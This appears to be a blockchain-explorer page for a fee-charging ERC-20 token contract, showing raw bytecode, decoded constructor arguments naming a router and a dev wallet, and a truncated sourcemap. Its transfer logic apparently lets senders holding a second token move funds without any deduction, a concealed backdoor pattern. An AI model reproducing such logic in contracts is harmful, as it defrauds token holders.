25290915291909120546107c7918490610c5b565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107f7848484610c95565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc549091906108616009600a6116ed565b61086f90633b9aca006116fc565b6108799190611735565b6108839190611735565b905090565b600080546001600160a01b031633146108b35760405162461bcd60e51b81526004016105bb906115d3565b81600003610926576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109239190611748565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610973573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fa9190611761565b6000610663826000196105fc565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105bb906115d3565b600080546001600160a01b0319169055565b60006107fa338484610c95565b6000546001600160a01b03163314610a185760405162461bcd60e51b81526004016105bb906115d3565b4760006064610a2784846116fc565b610a319190611713565b604051909150339082156108fc029083906000818181858888f19350505050158015610a61573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b81526004016105bb906115d3565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610b12573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b379190611783565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba791906117b1565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063e6a4390590604401602060405180830381865afa158015610c15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3991906117b1565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c7f5760405162461bcd60e51b81526004016105bb919061146f565b506000610c8c8486611735565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610cd757506001600160a01b03831660009081526005602052604090205460ff16155b8015610cf15750600c546001600160a01b03848116911614155b15610d6b576001546001600160a01b038416600090815260026020526040902054610d1d9084906117ce565b1115610d6b5760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d69742072656163686564000000000000000060448201526064016105bb565b600e5460ff16610d8757610d80848484610ede565b90506107fa565b610d8f61104f565b15610d9c57610d9c6110a5565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610dee918490610c5b565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e3b57506001600160a01b03841660009081526004602052604090205460ff165b610e4f57610e4a8584866111c4565b610e51565b825b6001600160a01b038516600090815260026020526040902054909150610e7790826112e1565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ecb9085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610fba92610f6c92859216906370a0823190602401602060405180830381865afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f579190611748565b11610f63576000610f65565b835b8490611340565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c5b565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fe990836112e1565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061103d9086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b031633148015906110705750600e5460ff16155b80156110855750600c54600160a01b900460ff165b8015610883575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e7576110e76117e1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061113b5761113b6117e1565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161118591906000908690309042906004016117f7565b600060405180830381600087803b15801561119f57600080fd5b505af11580156111b3573d6000803e3d6000fd5b5050600e805460ff19169055505050565b60008215806111d35750600654155b156111df5750816107fa565b600954600c546001600160a01b0390811690841603611201575060085461121c565b600c546001600160a01b039081169086160361121c57506007545b600061125161122c6064806116fc565b61124b846112456006548a61138290919063ffffffff16565b90611382565b90611404565b905080156112cd573060009081526002602052604090205461127390826112e1565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c49085815260200190565b60405180910390a35b6112d78582611340565b9695505050505050565b6000806112ee83856117ce565b9050838110156107fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bb565b60006107fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c5b565b60008260000361139457506000610663565b60006113a083856116fc565b9050826113ad8583611713565b146107fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bb565b60006107fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836114625760405162461bcd60e51b81526004016105bb919061146f565b506000610c8c8486611713565b600060208083528351808285015260005b8181101561149c57858101830151858201604001528201611480565b506000604082860101526040601f19601f8301168501019250505092915050565b6000602082840312156114cf57600080fd5b5035919050565b6001600160a01b03811681146114eb57600080fd5b50565b6000806040838503121561150157600080fd5b823561150c816114d6565b946020939093013593505050565b6000806040838503121561152d57600080fd5b50508035926020909101359150565b60008060006060848603121561155157600080fd5b833561155c816114d6565b9250602084013561156c816114d6565b929592945050506040919091013590565b60006020828403121561158f57600080fd5b81356107fa816114d6565b600080604083850312156115ad57600080fd5b82356115b8816114d6565b915060208301356115c8816114d6565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561164457816000190482111561162a5761162a6115f3565b8085161561163757918102915b93841c939080029061160e565b509250929050565b60008261165b57506001610663565b8161166857506000610663565b816001811461167e5760028114611688576116a4565b6001915050610663565b60ff841115611699576116996115f3565b50506001821b610663565b5060208310610133831016604e8410600b84101617156116c7575081810a610663565b6116d18383611609565b80600019048211156116e5576116e56115f3565b029392505050565b60006107fa60ff84168361164c565b8082028115828204841417610663576106636115f3565b60008261173057634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610663576106636115f3565b60006020828403121561175a57600080fd5b5051919050565b60006020828403121561177357600080fd5b815180151581146107fa57600080fd5b60008060006060848603121561179857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c357600080fd5b81516107fa816114d6565b80820180821115610663576106636115f3565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118475784516001600160a01b031683529383019391830191600101611822565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207e4f973143ba7bc0e16f4936b74d28b8c593d1bb6c54aeda2bfbe8560ac28d5764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000004139ce1eebe3d7d9007860e1f730124141114771

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : devWallet_ (address): 0x4139ce1eEBe3D7D9007860E1f730124141114771

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000004139ce1eebe3d7d9007860e1f730124141114771


Deployed Bytecode Sourcemap

3152:7093:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3408:42;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;3408:42:0;;;;;;;;;;;;:::i;:::-;;;;;;;;6130:174;;;;;;;;;;-1:-1:-1;6130:174:0;;;;;:::i;:::-;;:::i;:::-;;5234:216;;;;;;;;;;-1:-1:-1;5234:216:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;5234:216:0;1208:187:1;9312:237:0;;;;;;;;;;-1:-1:-1;9312:237:0;;;;;:::i;:::-;;:::i;3942:44::-;;;;;;;;;;;;3983:3;3942:44;;;;;1799:25:1;;;1787:2;1772:18;3942:44:0;1653:177:1;3554:58:0;;;;;;;;;;;;;:::i;3908:27::-;;;;;;;;;;;;;;;;5752:370;;;;;;;;;;-1:-1:-1;5752:370:0;;;;;:::i;:::-;;:::i;10105:137::-;;;;;;;;;;;;;:::i;2137:103::-;;;;;;;;;;-1:-1:-1;2137:103:0;;;;;:::i;:::-;2192:4;2227:5;-1:-1:-1;;;;;2216:16:0;;;2227:5;;2216:16;;2137:103;3507:34;;;;;;;;;;;;3540:1;3507:34;;;;;2720:4:1;2708:17;;;2690:36;;2678:2;2663:18;3507:34:0;2548:184:1;9817:280:0;;;;;;;;;;-1:-1:-1;9817:280:0;;;;;:::i;:::-;;:::i;3852:47::-;;;;;;;;;;-1:-1:-1;3852:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3801:44;;;;;;;;;;-1:-1:-1;3801:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5458:122;;;;;;;;;;-1:-1:-1;5458:122:0;;;;;:::i;:::-;;:::i;4204:30::-;;;;;;;;;;-1:-1:-1;4204:30:0;;;;-1:-1:-1;;;4204:30:0;;;;;;3679:45;;;;;;;;;;-1:-1:-1;3679:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;2248:85;;;;;;;;;;;;;:::i;3621:49::-;;;;;;;;;;;;;;;;5009:78;;;;;;;;;;-1:-1:-1;5061:7:0;5079:5;-1:-1:-1;;;;;5079:5:0;5009:78;;;-1:-1:-1;;;;;2901:32:1;;;2883:51;;2871:2;2856:18;5009:78:0;2737:203:1;3457:43:0;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;3457:43:0;;;;;4176:19;;;;;;;;;;-1:-1:-1;4176:19:0;;;;-1:-1:-1;;;;;4176:19:0;;;5588:156;;;;;;;;;;-1:-1:-1;5588:156:0;;;;;:::i;:::-;;:::i;9557:252::-;;;;;;;;;;-1:-1:-1;9557:252:0;;;;;:::i;:::-;;:::i;5093:133::-;;;;;;;;;;-1:-1:-1;5093:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5195:19:0;;;5177:7;5195:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5093:133;6312:475;;;:::i;4109:28::-;;;;;;;;;;-1:-1:-1;4109:28:0;;;;-1:-1:-1;;;;;4109:28:0;;;6130:174;2192:4;2227:5;-1:-1:-1;;;;;2227:5:0;2096:10;2216:16;2080:38;;;;-1:-1:-1;;;2080:38:0;;;;;;;:::i;:::-;;;;;;;;;6292:4:::1;6264:23:::0;3600:12:::1;3540:1;3600:2;:12;:::i;:::-;3592:20;::::0;:5:::1;:20;:::i;:::-;6250:37;;;;:::i;:::-;6249:47;;;;:::i;:::-;6231:15;:65:::0;-1:-1:-1;6130:174:0:o;5234:216::-;5338:10;5309:4;5326:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;5326:32:0;;;;;;;;;;:41;;;5383:37;5309:4;;5326:32;;5383:37;;;;5361:6;1799:25:1;;1787:2;1772:18;;1653:177;5383:37:0;;;;;;;;-1:-1:-1;5438:4:0;5234:216;;;;;:::o;9312:237::-;2192:4;2227:5;-1:-1:-1;;;;;2227:5:0;2096:10;2216:16;2080:38;;;;-1:-1:-1;;;2080:38:0;;;;;;;:::i;:::-;9405:3:::1;9396:5;:12;;9388:40;;;::::0;-1:-1:-1;;;9388:40:0;;6014:2:1;9388:40:0::1;::::0;::::1;5996:21:1::0;6053:2;6033:18;;;6026:30;-1:-1:-1;;;6072:18:1;;;6065:46;6128:18;;9388:40:0::1;5812:340:1::0;9388:40:0::1;9455:3;9447:4;:11;;9439:38;;;::::0;-1:-1:-1;;;9439:38:0;;6359:2:1;9439:38:0::1;::::0;::::1;6341:21:1::0;6398:2;6378:18;;;6371:30;-1:-1:-1;;;6417:18:1;;;6410:45;6472:18;;9439:38:0::1;6157:339:1::0;9439:38:0::1;9488:14;:22:::0;9521:13:::1;:20:::0;9312:237::o;3554:58::-;3600:12;3540:1;3600:2;:12;:::i;:::-;3592:20;;:5;:20;:::i;:::-;3554:58;:::o;5752:370::-;-1:-1:-1;;;;;5872:19:0;;5852:4;5872:19;;;:11;:19;;;;;;;;5892:10;5872:31;;;;;;;;-1:-1:-1;;5872:52:0;5869:186;;5974:69;;;;;;;;;;;-1:-1:-1;;;5974:69:0;;;;;;;;-1:-1:-1;;;;;5974:19:0;;-1:-1:-1;5974:19:0;;;:11;:19;;;;;5994:10;5974:31;;;;;;;;;;:69;;6010:6;;5974:35;:69::i;:::-;-1:-1:-1;;;;;5940:19:0;;;;;;:11;:19;;;;;;;;5960:10;5940:31;;;;;;;:103;5869:186;6074:40;6088:6;6096:9;6107:6;6074:13;:40::i;:::-;6067:47;;5752:370;;;;;;:::o;10105:137::-;10218:9;:15;;;;3284:42;10158:7;10200:15;;;;;10158:7;;10218:15;3600:12;3540:1;3600:2;:12;:::i;:::-;3592:20;;:5;:20;:::i;:::-;10186:29;;;;:::i;:::-;:47;;;;:::i;:::-;10178:56;;10105:137;:::o;9817:280::-;9904:12;2227:5;;-1:-1:-1;;;;;2227:5:0;2096:10;2216:16;2080:38;;;;-1:-1:-1;;;2080:38:0;;;;;;;:::i;:::-;9932:6:::1;9942:1;9932:11:::0;9929:95:::1;;9968:44;::::0;-1:-1:-1;;;9968:44:0;;10006:4:::1;9968:44;::::0;::::1;2883:51:1::0;-1:-1:-1;;;;;9968:29:0;::::1;::::0;::::1;::::0;2856:18:1;;9968:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9959:53;;9929:95;10041:48;::::0;-1:-1:-1;;;10041:48:0;;10070:10:::1;10041:48;::::0;::::1;6997:51:1::0;7064:18;;;7057:34;;;-1:-1:-1;;;;;10041:28:0;::::1;::::0;::::1;::::0;6970:18:1;;10041:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;5458:122::-:0;5513:4;5537:35;5545:7;-1:-1:-1;;5537:7:0;:35::i;2248:85::-;2192:4;2227:5;-1:-1:-1;;;;;2227:5:0;2096:10;2216:16;2080:38;;;;-1:-1:-1;;;2080:38:0;;;;;;;:::i;:::-;2323:1:::1;2307:18:::0;;-1:-1:-1;;;;;;2307:18:0::1;::::0;;2248:85::o;5588:156::-;5668:4;5692:44;5706:10;5718:9;5729:6;5692:13;:44::i;9557:252::-;2192:4;2227:5;-1:-1:-1;;;;;2227:5:0;2096:10;2216:16;2080:38;;;;-1:-1:-1;;;2080:38:0;;;;;;;:::i;:::-;9653:21:::1;9633:17;9744:3;9711:28;9723:16:::0;9653:21;9711:28:::1;:::i;:::-;9709:38;;;;:::i;:::-;9758:43;::::0;9685:62;;-1:-1:-1;9766:10:0::1;::::0;9758:43;::::1;;;::::0;9685:62;;9758:43:::1;::::0;;;9685:62;9766:10;9758:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9622:187;;9557:252:::0;:::o;6312:475::-;2192:4;2227:5;-1:-1:-1;;;;;2227:5:0;2096:10;2216:16;2080:38;;;;-1:-1:-1;;;2080:38:0;;;;;;;:::i;:::-;6374:6:::1;::::0;6437:4:::1;6374:6;6473:24:::0;;;:9:::1;:24;::::0;;;;;;6618:5;;6374:325;;-1:-1:-1;;;6374:325:0;;::::1;::::0;::::1;7725:34:1::0;;;;7775:18;;;7768:34;7818:18;;;7811:34;;;7861:18;;;7854:34;;;;-1:-1:-1;;;;;6618:5:0;;::::1;7904:19:1::0;;;7897:44;6673:15:0::1;7957:19:1::0;;;7950:35;6374:6:0;;::::1;::::0;:22:::1;::::0;6404:9:::1;::::0;7659:19:1;;6374:325:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6733:6:0::1;::::0;:16:::1;::::0;;-1:-1:-1;;;6733:16:0;;;;-1:-1:-1;;;;;6733:6:0;;::::1;::::0;-1:-1:-1;6733:14:0::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:6;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6717:62;::::0;-1:-1:-1;;;6717:62:0;;6767:4:::1;6717:62;::::0;::::1;8775:34:1::0;-1:-1:-1;;;;;6774:4:0::1;8845:15:1::0;;8825:18;;;8818:43;6717:41:0;;;::::1;::::0;::::1;::::0;8710:18:1;;6717:62:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6710:4;:69:::0;;-1:-1:-1;;;;;;6710:69:0::1;-1:-1:-1::0;;;;;6710:69:0;;;::::1;::::0;;;::::1;::::0;;6312:475::o;453:192::-;539:7;575:12;567:6;;;;559:29;;;;-1:-1:-1;;;559:29:0;;;;;;;;:::i;:::-;-1:-1:-1;599:9:0;611:5;615:1;611;:5;:::i;:::-;599:17;453:192;-1:-1:-1;;;;;453:192:0:o;6797:810::-;-1:-1:-1;;;;;6911:22:0;;6889:4;6911:22;;;:14;:22;;;;;;;;6910:23;:53;;;;-1:-1:-1;;;;;;6938:25:0;;;;;;:14;:25;;;;;;;;6937:26;6910:53;:74;;;;-1:-1:-1;6980:4:0;;-1:-1:-1;;;;;6967:17:0;;;6980:4;;6967:17;;6910:74;6906:193;;;7044:15;;-1:-1:-1;;;;;7010:20:0;;;;;;:9;:20;;;;;;:29;;7033:6;;7010:29;:::i;:::-;7009:50;;7001:86;;;;-1:-1:-1;;;7001:86:0;;9204:2:1;7001:86:0;;;9186:21:1;9243:2;9223:18;;;9216:30;9282:26;9262:18;;;9255:54;9326:18;;7001:86:0;9002:348:1;7001:86:0;7113:6;;;;7109:64;;7129:41;7144:6;7152:9;7163:6;7129:14;:41::i;:::-;7122:48;;;;7109:64;7192:16;:14;:16::i;:::-;7189:35;;;7211:10;:8;:10::i;:::-;7256:53;;;;;;;;;;;-1:-1:-1;;;7256:53:0;;;;;;;;-1:-1:-1;;;;;7256:17:0;;-1:-1:-1;7256:17:0;;;:9;:17;;;;;;;;:53;;7278:6;;7256:21;:53::i;:::-;-1:-1:-1;;;;;7236:17:0;;;;;;:9;:17;;;;;;;;:73;;;;7348:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;7371:22:0;;;;;;:11;:22;;;;;;;;7348:45;7347:93;;7406:34;7414:6;7422;7430:9;7406:7;:34::i;:::-;7347:93;;;7397:6;7347:93;-1:-1:-1;;;;;7476:20:0;;;;;;:9;:20;;;;;;7322:118;;-1:-1:-1;7476:40:0;;7322:118;7476:24;:40::i;:::-;-1:-1:-1;;;;;7453:20:0;;;;;;;:9;:20;;;;;;;:63;;;;7534:43;;;;;;;;;;7562:14;1799:25:1;;1787:2;1772:18;;1653:177;7534:43:0;;;;;;;;-1:-1:-1;7595:4:0;;6797:810;-1:-1:-1;;;;6797:810:0:o;7619:381::-;7788:9;;7782:34;;-1:-1:-1;;;7782:34:0;;-1:-1:-1;;;;;2901:32:1;;;7782:34:0;;;2883:51:1;7712:4:0;;7749:104;;7771:57;;7712:4;;7788:9;;7782:26;;2856:18:1;;7782:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:36;:45;;7826:1;7782:45;;;7819:6;7782:45;7771:6;;:10;:57::i;:::-;7749:104;;;;;;;;;;;-1:-1:-1;;;7749:104:0;;;;;;;;-1:-1:-1;;;;;7749:17:0;;-1:-1:-1;7749:17:0;;;:9;:17;;;;;;;;;:104;:21;:104::i;:::-;-1:-1:-1;;;;;7729:17:0;;;;;;;:9;:17;;;;;;:124;;;;7887:20;;;;;;;:32;;7912:6;7887:24;:32::i;:::-;-1:-1:-1;;;;;7864:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7935:35;;;;;;;;;;7963:6;1799:25:1;;1787:2;1772:18;;1653:177;7935:35:0;;;;;;;;-1:-1:-1;7988:4:0;7619:381;;;;;:::o;8739:197::-;8826:4;;8788;;-1:-1:-1;;;;;8826:4:0;8812:10;:18;;;;:38;;-1:-1:-1;8844:6:0;;;;8843:7;8812:38;:62;;;;-1:-1:-1;8863:11:0;;-1:-1:-1;;;8863:11:0;;;;8812:62;:116;;;;-1:-1:-1;;8915:13:0;;8905:4;8887:24;;;;:9;:24;;;;;;:41;;;8739:197::o;8944:360::-;4329:6;:13;;-1:-1:-1;;4329:13:0;4338:4;4329:13;;;9019:16:::1;::::0;;9033:1:::1;9019:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9019:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9019:16:0::1;8995:40;;9064:4;9046;9051:1;9046:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;9046:23:0::1;;;-1:-1:-1::0;;;;;9046:23:0::1;;;::::0;::::1;9090:4;9080;9085:1;9080:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9080:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;9107:6:::1;::::0;9179:13:::1;::::0;9107:189:::1;::::0;-1:-1:-1;;;9107:189:0;;:6;;;::::1;::::0;:57:::1;::::0;:189:::1;::::0;9179:13;9107:6:::1;::::0;9223:4;;9250::::1;::::0;9270:15:::1;::::0;9107:189:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4347:6:0;:14;;-1:-1:-1;;4347:14:0;;;-1:-1:-1;;;8944:360:0:o;8008:723::-;8094:7;8117:11;;;:28;;-1:-1:-1;8132:8:0;;:13;8117:28;8114:72;;;-1:-1:-1;8168:6:0;8161:13;;8114:72;8219:18;;8266:4;;-1:-1:-1;;;;;8266:4:0;;;8253:17;;;;8250:154;;-1:-1:-1;8300:14:0;;8250:154;;;8345:4;;-1:-1:-1;;;;;8345:4:0;;;8335:14;;;;8332:72;;-1:-1:-1;8379:13:0;;8332:72;8416:17;8436:62;8477:20;3983:3;;8477:20;:::i;:::-;8436:36;8461:10;8436:20;8447:8;;8436:6;:10;;:20;;;;:::i;:::-;:24;;:36::i;:::-;:40;;:62::i;:::-;8416:82;-1:-1:-1;8514:13:0;;8511:172;;8588:4;8570:24;;;;:9;:24;;;;;;:39;;8599:9;8570:28;:39::i;:::-;8561:4;8543:24;;;;:9;:24;;;;;;;:66;;;;8629:42;;-1:-1:-1;;;;;8629:42:0;;;;;;;8661:9;1799:25:1;;1787:2;1772:18;;1653:177;8629:42:0;;;;;;;;8511:172;8702:21;:6;8713:9;8702:10;:21::i;:::-;8695:28;8008:723;-1:-1:-1;;;;;;8008:723:0:o;124:181::-;182:7;;214:5;218:1;214;:5;:::i;:::-;202:17;;243:1;238;:6;;230:46;;;;-1:-1:-1;;;230:46:0;;10806:2:1;230:46:0;;;10788:21:1;10845:2;10825:18;;;10818:30;10884:29;10864:18;;;10857:57;10931:18;;230:46:0;10604:351:1;311:136:0;369:7;396:43;400:1;403;396:43;;;;;;;;;;;;;;;;;:3;:43::i;651:250::-;709:7;733:1;738;733:6;729:47;;-1:-1:-1;763:1:0;756:8;;729:47;788:9;800:5;804:1;800;:5;:::i;:::-;788:17;-1:-1:-1;833:1:0;824:5;828:1;788:17;824:5;:::i;:::-;:10;816:56;;;;-1:-1:-1;;;816:56:0;;11162:2:1;816:56:0;;;11144:21:1;11201:2;11181:18;;;11174:30;11240:34;11220:18;;;11213:62;-1:-1:-1;;;11291:18:1;;;11284:31;11332:19;;816:56:0;10960:397:1;907:132:0;965:7;992:39;996:1;999;992:39;;;;;;;;;;;;;;;;;1131:7;1166:12;1159:5;1151:28;;;;-1:-1:-1;;;1151:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1190:9:0;1202:5;1206:1;1202;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:180::-;626:6;679:2;667:9;658:7;654:23;650:32;647:52;;;695:1;692;685:12;647:52;-1:-1:-1;718:23:1;;567:180;-1:-1:-1;567:180:1:o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;807:70;752:131;:::o;888:315::-;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1400:248::-;1468:6;1476;1529:2;1517:9;1508:7;1504:23;1500:32;1497:52;;;1545:1;1542;1535:12;1497:52;-1:-1:-1;;1568:23:1;;;1638:2;1623:18;;;1610:32;;-1:-1:-1;1400:248:1:o;1835:456::-;1912:6;1920;1928;1981:2;1969:9;1960:7;1956:23;1952:32;1949:52;;;1997:1;1994;1987:12;1949:52;2036:9;2023:23;2055:31;2080:5;2055:31;:::i;:::-;2105:5;-1:-1:-1;2162:2:1;2147:18;;2134:32;2175:33;2134:32;2175:33;:::i;:::-;1835:456;;2227:7;;-1:-1:-1;;;2281:2:1;2266:18;;;;2253:32;;1835:456::o;2296:247::-;2355:6;2408:2;2396:9;2387:7;2383:23;2379:32;2376:52;;;2424:1;2421;2414:12;2376:52;2463:9;2450:23;2482:31;2507:5;2482:31;:::i;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3568:329::-;3770:2;3752:21;;;3809:1;3789:18;;;3782:29;-1:-1:-1;;;3842:2:1;3827:18;;3820:36;3888:2;3873:18;;3568:329::o;3902:127::-;3963:10;3958:3;3954:20;3951:1;3944:31;3994:4;3991:1;3984:15;4018:4;4015:1;4008:15;4034:422;4123:1;4166:5;4123:1;4180:270;4201:7;4191:8;4188:21;4180:270;;;4260:4;4256:1;4252:6;4248:17;4242:4;4239:27;4236:53;;;4269:18;;:::i;:::-;4319:7;4309:8;4305:22;4302:55;;;4339:16;;;;4302:55;4418:22;;;;4378:15;;;;4180:270;;;4184:3;4034:422;;;;;:::o;4461:806::-;4510:5;4540:8;4530:80;;-1:-1:-1;4581:1:1;4595:5;;4530:80;4629:4;4619:76;;-1:-1:-1;4666:1:1;4680:5;;4619:76;4711:4;4729:1;4724:59;;;;4797:1;4792:130;;;;4704:218;;4724:59;4754:1;4745:10;;4768:5;;;4792:130;4829:3;4819:8;4816:17;4813:43;;;4836:18;;:::i;:::-;-1:-1:-1;;4892:1:1;4878:16;;4907:5;;4704:218;;5006:2;4996:8;4993:16;4987:3;4981:4;4978:13;4974:36;4968:2;4958:8;4955:16;4950:2;4944:4;4941:12;4937:35;4934:77;4931:159;;;-1:-1:-1;5043:19:1;;;5075:5;;4931:159;5122:34;5147:8;5141:4;5122:34;:::i;:::-;5192:6;5188:1;5184:6;5180:19;5171:7;5168:32;5165:58;;;5203:18;;:::i;:::-;5241:20;;4461:806;-1:-1:-1;;;4461:806:1:o;5272:140::-;5330:5;5359:47;5400:4;5390:8;5386:19;5380:4;5359:47;:::i;5417:168::-;5490:9;;;5521;;5538:15;;;5532:22;;5518:37;5508:71;;5559:18;;:::i;5590:217::-;5630:1;5656;5646:132;;5700:10;5695:3;5691:20;5688:1;5681:31;5735:4;5732:1;5725:15;5763:4;5760:1;5753:15;5646:132;-1:-1:-1;5792:9:1;;5590:217::o;6501:128::-;6568:9;;;6589:11;;;6586:37;;;6603:18;;:::i;6634:184::-;6704:6;6757:2;6745:9;6736:7;6732:23;6728:32;6725:52;;;6773:1;6770;6763:12;6725:52;-1:-1:-1;6796:16:1;;6634:184;-1:-1:-1;6634:184:1:o;7102:277::-;7169:6;7222:2;7210:9;7201:7;7197:23;7193:32;7190:52;;;7238:1;7235;7228:12;7190:52;7270:9;7264:16;7323:5;7316:13;7309:21;7302:5;7299:32;7289:60;;7345:1;7342;7335:12;7996:306;8084:6;8092;8100;8